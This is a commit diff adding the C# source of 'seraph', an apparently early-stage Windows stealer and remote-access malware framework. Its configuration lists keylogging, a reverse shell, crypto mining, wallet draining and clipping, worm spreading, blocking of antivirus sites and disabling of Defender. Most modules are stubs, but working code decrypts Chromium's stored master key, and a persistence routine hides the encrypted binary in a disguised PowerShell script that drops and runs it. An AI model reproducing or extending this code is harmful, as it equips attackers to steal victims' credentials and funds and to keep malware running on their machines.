Upload of project source code files.
This commit is contained in:
13
.idea/.idea.seraph/.idea/.gitignore
generated
vendored
Normal file
13
.idea/.idea.seraph/.idea/.gitignore
generated
vendored
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
# Default ignored files
|
||||||
|
/shelf/
|
||||||
|
/workspace.xml
|
||||||
|
# Rider ignored files
|
||||||
|
/modules.xml
|
||||||
|
/projectSettingsUpdater.xml
|
||||||
|
/contentModel.xml
|
||||||
|
/.idea.seraph.iml
|
||||||
|
# Editor-based HTTP Client requests
|
||||||
|
/httpRequests/
|
||||||
|
# Datasource local storage ignored files
|
||||||
|
/dataSources/
|
||||||
|
/dataSources.local.xml
|
||||||
7
.idea/.idea.seraph/.idea/discord.xml
generated
Normal file
7
.idea/.idea.seraph/.idea/discord.xml
generated
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="DiscordProjectSettings">
|
||||||
|
<option name="show" value="PROJECT_FILES" />
|
||||||
|
<option name="description" value="" />
|
||||||
|
</component>
|
||||||
|
</project>
|
||||||
8
.idea/.idea.seraph/.idea/indexLayout.xml
generated
Normal file
8
.idea/.idea.seraph/.idea/indexLayout.xml
generated
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="UserContentModel">
|
||||||
|
<attachedFolders />
|
||||||
|
<explicitIncludes />
|
||||||
|
<explicitExcludes />
|
||||||
|
</component>
|
||||||
|
</project>
|
||||||
16
seraph.sln
Normal file
16
seraph.sln
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "seraph", "seraph\seraph.csproj", "{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
75
seraph/Configuration.cs
Normal file
75
seraph/Configuration.cs
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
namespace seraph;
|
||||||
|
|
||||||
|
public static class Configuration
|
||||||
|
{
|
||||||
|
public static string SocketServer = "127.0.0.1:8883"; // socket server, using ECDH-Curve25519 for encryption & verification
|
||||||
|
public static bool MeltStub = false;
|
||||||
|
public static bool FakeError = false;
|
||||||
|
public static string ErrorMessage = "The code execution cannot proceed because api-ms-win-core-timezone-l1-1-0.dll was not found. Reinstalling the application may fix this problem.";
|
||||||
|
public static bool AntiKill = false;
|
||||||
|
public static bool AntiKillBSoD = false;
|
||||||
|
public static bool AntiVM = false;
|
||||||
|
public static bool AntiAnalysis = false;
|
||||||
|
public static bool AntiDebug = false;
|
||||||
|
public static bool Startup = true;
|
||||||
|
public static string StartupMode = "taskschd"; // regkey, taskschd or folder
|
||||||
|
public static bool WebcamSnapshot = false;
|
||||||
|
public static bool Screenshot = false;
|
||||||
|
public static bool MoneroCryptoMiner = false;
|
||||||
|
public static bool LitecoinCryptoMiner = false;
|
||||||
|
public static bool BitcoinCryptoMiner = false;
|
||||||
|
public static int MoneroMinerUsage = 25;
|
||||||
|
public static int LitecoinMinerUsage = 25;
|
||||||
|
public static int BitcoinMinerUsage = 25;
|
||||||
|
public static string MoneroMinerWallet = "";
|
||||||
|
public static string LitecoinMinerWallet = "";
|
||||||
|
public static string BitcoinMinerWallet = "";
|
||||||
|
public static bool NetworkSpread = false;
|
||||||
|
public static bool USBInfect = false;
|
||||||
|
public static bool SystemInfect = false;
|
||||||
|
public static bool BrowserInjection = false;
|
||||||
|
public static bool MailInjection = false;
|
||||||
|
public static bool VPNInjection = false;
|
||||||
|
public static bool WalletInjection = false;
|
||||||
|
public static bool MessengerInjection = false;
|
||||||
|
public static bool BlockWebsites = false; // blocks websites off the local machine from being accessed
|
||||||
|
public static List<string> WebsitesList = new List<string> { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" };
|
||||||
|
public static bool PornDetection = false; // detects if porn/hentai is viewed and runs webcam snapshot automatically if so
|
||||||
|
public static bool Keylogger = false;
|
||||||
|
public static bool ReverseShell = false;
|
||||||
|
public static bool ShellcodeLoader = false;
|
||||||
|
public static byte[] Shellcode = new byte[] { 0x81, 0x92 }; // use donut to gen PIC shellc
|
||||||
|
public static bool BrowserData = false;
|
||||||
|
public static bool WalletData = false;
|
||||||
|
public static bool WalletDrainer = false;
|
||||||
|
public static string WalletDrainerMoneroAddress = "";
|
||||||
|
public static string WalletDrainerLitecoinAddress = "";
|
||||||
|
public static string WalletDrainerBitcoinAddress = "";
|
||||||
|
public static string WalletDrainerEthereumAddress = "";
|
||||||
|
public static string WalletDrainerTetherAddress = "";
|
||||||
|
public static bool CryptoClipper = false;
|
||||||
|
public static string CryptoClipperMoneroAddress = "";
|
||||||
|
public static string CryptoClipperLitecoinAddress = "";
|
||||||
|
public static string CryptoClipperBitcoinAddress = "";
|
||||||
|
public static string CryptoClipperEthereumAddress = "";
|
||||||
|
public static string CryptoClipperTetherAddress = "";
|
||||||
|
public static bool NetworkData = false;
|
||||||
|
public static bool MessengerData = false;
|
||||||
|
public static bool MailData = false;
|
||||||
|
public static bool SystemData = false;
|
||||||
|
public static bool ImportantFiles = false;
|
||||||
|
public static List<string> ImportantFilesExtensions = new List<string> { "db", "kdbx", "sql", "sqlite", "pgp", "xml", "enc", "p12", "pfx", "vault", "json", "c", "h", "txt", "sqlite3", "pem", "asc", "cert", "ovpn", "ca", "sig", "adp" };
|
||||||
|
public static bool CommonFiles = false;
|
||||||
|
public static List<string> CommonFilesExtensions = new List<string> { "ini", "png", "jpg", "txt", "mp4", "mov", "webp", "7z", "zip", "dll", "jar", "java", "c", "h", "hpp", "cpp", "java", "d", "cs", "js", "ts", "py", "json", "lib", "gif", "wav", "bat", "cmd", "mp3", "jpeg", "nim", "html", "php", "css", "pyc", "pyd", "sln", "kts", "rs", "lisp", "zig", "exs", "md", "kt" };
|
||||||
|
public static bool GameData = false;
|
||||||
|
public static bool AMSIBypass = false;
|
||||||
|
public static bool DefenderExlusion = false;
|
||||||
|
public static List<string> ExcludedFilePaths = new List<string> { "" };
|
||||||
|
public static List<string> ExcludedFolderPaths = new List<string> { "" };
|
||||||
|
public static bool DestroyDefender = false;
|
||||||
|
public static bool DisableDefender = false;
|
||||||
|
public static bool DisableETW = false;
|
||||||
|
public static bool DisableREAgentC = false;
|
||||||
|
public static bool UACBypass = false;
|
||||||
|
public static bool RemoteControl = false;
|
||||||
|
}
|
||||||
37
seraph/Program.cs
Normal file
37
seraph/Program.cs
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
using seraph;
|
||||||
|
using seraph.Seraph.AntiDebug;
|
||||||
|
using seraph.Seraph.Components;
|
||||||
|
using seraph.Seraph.Infect;
|
||||||
|
using seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
internal class Seraph
|
||||||
|
{
|
||||||
|
private static void Main(string[] args)
|
||||||
|
{
|
||||||
|
var services = new List<Service>
|
||||||
|
{
|
||||||
|
new Seraphian(),
|
||||||
|
new Remote(),
|
||||||
|
new Infect()
|
||||||
|
};
|
||||||
|
|
||||||
|
var antiDebug = new AntiDebug();
|
||||||
|
antiDebug.RunChecks();
|
||||||
|
|
||||||
|
var threads = new List<Thread>();
|
||||||
|
|
||||||
|
foreach (var service in services)
|
||||||
|
{
|
||||||
|
var createThread = new Thread(() => { service.Initialize(); service.Execute(); });
|
||||||
|
threads.Add(createThread);
|
||||||
|
createThread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var thread in threads)
|
||||||
|
{
|
||||||
|
thread.Join();
|
||||||
|
}
|
||||||
|
|
||||||
|
threads.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
0
seraph/README.md
Normal file
0
seraph/README.md
Normal file
6
seraph/Seraph.AntiDebug/AntiAnalysis.cs
Normal file
6
seraph/Seraph.AntiDebug/AntiAnalysis.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.AntiDebug;
|
||||||
|
|
||||||
|
public class AntiAnalysis
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
9
seraph/Seraph.AntiDebug/AntiDebug.cs
Normal file
9
seraph/Seraph.AntiDebug/AntiDebug.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.AntiDebug;
|
||||||
|
|
||||||
|
public class AntiDebug
|
||||||
|
{
|
||||||
|
public void RunChecks()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Anti Debug Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
6
seraph/Seraph.AntiDebug/AntiKill.cs
Normal file
6
seraph/Seraph.AntiDebug/AntiKill.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.AntiDebug;
|
||||||
|
|
||||||
|
public class AntiKill
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.AntiDebug/AntiVM.cs
Normal file
6
seraph/Seraph.AntiDebug/AntiVM.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.AntiDebug;
|
||||||
|
|
||||||
|
public class AntiVM
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/BlockWebsites.cs
Normal file
9
seraph/Seraph.Components/BlockWebsites.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class BlockWebsites : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("BlockWebsites Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
37
seraph/Seraph.Components/Exfiltration/Browser/Browser.cs
Normal file
37
seraph/Seraph.Components/Exfiltration/Browser/Browser.cs
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
|
||||||
|
public class Browser : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
if (!Configuration.BrowserData)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine("Browser Exfiltration Running.");
|
||||||
|
|
||||||
|
var threads = new List<Thread>();
|
||||||
|
|
||||||
|
foreach (var browserPath in Chromium.BrowserPaths)
|
||||||
|
{
|
||||||
|
var path = Path.Combine(Utility.Utils.lAppdata, browserPath, "User Data");
|
||||||
|
|
||||||
|
if (!Directory.Exists(path))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
var createThread = new Thread(() => { Chromium.BrowserEntry(path); });
|
||||||
|
threads.Add(createThread);
|
||||||
|
createThread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var thread in threads)
|
||||||
|
{
|
||||||
|
thread.Join();
|
||||||
|
}
|
||||||
|
|
||||||
|
threads.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
35
seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs
Normal file
35
seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
using System.Text.Json;
|
||||||
|
|
||||||
|
namespace seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
|
||||||
|
public class Chromium
|
||||||
|
{
|
||||||
|
public static List<string> BrowserPaths = new List<string> { "Iridium", "Microsoft\\Edge", "Thorium", "Google\\Chrome", "BraveSoftware\\Brave-Browser", "Vivaldi", "Epic Privacy Browser", "Torch", "Amigo", "Kometa", "Orbitum", "CentBrowser", "7Star\\7Star", "Sputnik\\Sputnik", "uCozMedia\\Uran", "Yandex\\YandexBrowser" };
|
||||||
|
public static List<string> BrowserProfiles = new List<string> { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" };
|
||||||
|
|
||||||
|
public static void BrowserEntry(string fullPath)
|
||||||
|
{
|
||||||
|
var localStateFile = Path.Combine(fullPath, "Local State");
|
||||||
|
|
||||||
|
if (!File.Exists(localStateFile))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
var key = GetKey.Decrypt(localStateFile);
|
||||||
|
|
||||||
|
Console.WriteLine(key);
|
||||||
|
|
||||||
|
foreach (var profile in Chromium.BrowserProfiles)
|
||||||
|
{
|
||||||
|
var path = Path.Combine(fullPath, profile);
|
||||||
|
|
||||||
|
if (!Directory.Exists(path))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine(path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
6
seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs
Normal file
6
seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
|
||||||
|
public class Decrypt
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs
Normal file
6
seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
|
||||||
|
public class Gecko
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
61
seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs
Normal file
61
seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
|
||||||
|
using System.Text.Json;
|
||||||
|
|
||||||
|
public class GetKey
|
||||||
|
{
|
||||||
|
public static string Decrypt(string path)
|
||||||
|
{
|
||||||
|
var jsonData = string.Empty;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
jsonData = File.ReadAllText(path);
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"An error occurred: {ex.Message}");
|
||||||
|
return ex.Message;
|
||||||
|
}
|
||||||
|
|
||||||
|
var encodedKey = string.Empty;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var document = JsonDocument.Parse(jsonData);
|
||||||
|
encodedKey = document.RootElement
|
||||||
|
.GetProperty("os_crypt")
|
||||||
|
.GetProperty("encrypted_key")
|
||||||
|
.GetString();
|
||||||
|
|
||||||
|
Console.WriteLine($"Encoded Key: {encodedKey}");
|
||||||
|
}
|
||||||
|
catch (JsonException ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"Error parsing Json Data: {ex.Message}");
|
||||||
|
return ex.Message;
|
||||||
|
}
|
||||||
|
catch (KeyNotFoundException ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"Missing expected Json property: {ex.Message}");
|
||||||
|
return ex.Message;
|
||||||
|
}
|
||||||
|
|
||||||
|
string decodedKey = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(encodedKey));
|
||||||
|
|
||||||
|
string encryptedKey = decodedKey.Length > 5 ? decodedKey.Substring(5) : string.Empty;
|
||||||
|
|
||||||
|
Console.WriteLine($"Encrypted Key: {encryptedKey}");
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var decryptedKey = Utility.Crypt32Wrapper.Decrypt(System.Text.Encoding.UTF8.GetBytes(encryptedKey));
|
||||||
|
return decryptedKey;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"Error during decryption: {ex.Message}");
|
||||||
|
return ex.Message;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Files.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Files.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration;
|
||||||
|
|
||||||
|
public class Files : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("File Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Game.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Game.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration;
|
||||||
|
|
||||||
|
public class Game : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Game Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Mail.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Mail.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration;
|
||||||
|
|
||||||
|
public class Mail : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Mail Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Messenger.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Messenger.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration;
|
||||||
|
|
||||||
|
public class Messenger : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Messenger Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Network/Network.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Network/Network.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Network;
|
||||||
|
|
||||||
|
public class Network : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Network Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
6
seraph/Seraph.Components/Exfiltration/Network/SFTP.cs
Normal file
6
seraph/Seraph.Components/Exfiltration/Network/SFTP.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Network;
|
||||||
|
|
||||||
|
public class SFTP
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Components/Exfiltration/Network/SSH.cs
Normal file
6
seraph/Seraph.Components/Exfiltration/Network/SSH.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Network;
|
||||||
|
|
||||||
|
public class SSH
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Components/Exfiltration/Network/VPN.cs
Normal file
6
seraph/Seraph.Components/Exfiltration/Network/VPN.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Network;
|
||||||
|
|
||||||
|
public class VPN
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Ssystem.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Ssystem.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration;
|
||||||
|
|
||||||
|
public class Ssystem : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("System Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Wallet;
|
||||||
|
|
||||||
|
public class Clipper : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Crypto Clipper Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Wallet;
|
||||||
|
|
||||||
|
public class Drainer : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Crypto Drainer Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Wallet;
|
||||||
|
|
||||||
|
public class Miner : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Crypto Miner Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs
Normal file
9
seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.Exfiltration.Wallet;
|
||||||
|
|
||||||
|
public class Wallet : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Wallet Exfiltration Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/NetworkSpread.cs
Normal file
9
seraph/Seraph.Components/NetworkSpread.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class NetworkSpread : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("NetworkSpread Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
108
seraph/Seraph.Components/Persistence.cs
Normal file
108
seraph/Seraph.Components/Persistence.cs
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
using seraph.Seraph.Utility;
|
||||||
|
|
||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
|
||||||
|
public class Persistence : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
if (!Configuration.Startup)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine("Persistence Running.");
|
||||||
|
|
||||||
|
string path = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell");
|
||||||
|
if (!Directory.Exists(path))
|
||||||
|
{
|
||||||
|
Directory.CreateDirectory(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
string assemblyPath = Assembly.GetExecutingAssembly().Location;
|
||||||
|
|
||||||
|
byte[] fileBytes = File.ReadAllBytes(assemblyPath);
|
||||||
|
|
||||||
|
(string iv, string key, string encrypted) = EncryptString(fileBytes);
|
||||||
|
|
||||||
|
// Console.WriteLine(encrypted);
|
||||||
|
|
||||||
|
string startupFile = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell",
|
||||||
|
"StartupProfileAnalytics2.ps1");
|
||||||
|
|
||||||
|
string startupScript = @$"
|
||||||
|
$base64Iv = ""{iv}""
|
||||||
|
$base64Key = ""{key}""
|
||||||
|
$base64EncryptedData = ""{encrypted}""
|
||||||
|
|
||||||
|
$iv = [System.Convert]::FromBase64String($base64Iv)
|
||||||
|
$key = [System.Convert]::FromBase64String($base64Key)
|
||||||
|
$encryptedData = [System.Convert]::FromBase64String($base64EncryptedData)
|
||||||
|
|
||||||
|
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||||
|
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||||
|
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||||
|
$aes.Key = $key
|
||||||
|
$aes.IV = $iv
|
||||||
|
|
||||||
|
$decryptor = $aes.CreateDecryptor()
|
||||||
|
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
|
||||||
|
|
||||||
|
$memoryStream = New-Object System.IO.MemoryStream
|
||||||
|
$memoryStream.Write($decryptedBytes, 0, $decryptedBytes.Length)
|
||||||
|
$memoryStream.Position = 0
|
||||||
|
|
||||||
|
$binaryData = $memoryStream.ToArray()
|
||||||
|
$memoryStream.Close()
|
||||||
|
|
||||||
|
$binaryPath = [System.IO.Path]::GetTempFileName() + "".exe""
|
||||||
|
|
||||||
|
[System.IO.File]::WriteAllBytes($binaryPath, $binaryData)
|
||||||
|
|
||||||
|
Start-Process $binaryPath -NoNewWindow -Wait
|
||||||
|
|
||||||
|
Remove-Item $binaryPath";
|
||||||
|
|
||||||
|
if (!File.Exists(startupFile))
|
||||||
|
{
|
||||||
|
File.WriteAllText(startupFile, startupScript);
|
||||||
|
}
|
||||||
|
|
||||||
|
// powershell -ExecutionPolicy Bypass -File "C:\Users\gum\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileAnalytics.ps1"
|
||||||
|
|
||||||
|
if (Utils.ShellExecute("schtasks /query /tn \"Seraph") == "")
|
||||||
|
{
|
||||||
|
if (Utils.IsRunningAsAdmin())
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static (string iv, string key, string encrypted) EncryptString(byte[] dataToEncrypt)
|
||||||
|
{
|
||||||
|
if (dataToEncrypt == null || dataToEncrypt.Length == 0)
|
||||||
|
throw new ArgumentNullException(nameof(dataToEncrypt));
|
||||||
|
|
||||||
|
using (Aes aes = Aes.Create())
|
||||||
|
{
|
||||||
|
aes.GenerateKey();
|
||||||
|
aes.GenerateIV();
|
||||||
|
|
||||||
|
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
|
||||||
|
|
||||||
|
using (MemoryStream ms = new MemoryStream())
|
||||||
|
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
|
||||||
|
{
|
||||||
|
cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);
|
||||||
|
cs.FlushFinalBlock();
|
||||||
|
|
||||||
|
string encryptedData = Convert.ToBase64String(ms.ToArray());
|
||||||
|
return (Convert.ToBase64String(aes.IV), Convert.ToBase64String(aes.Key), encryptedData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/PornDetection.cs
Normal file
9
seraph/Seraph.Components/PornDetection.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class PornDetection : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("PornDetection Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class AMSIBypass
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class DefenderExclusion
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class DestroyDefender
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class DisableDefender
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class DisableETW
|
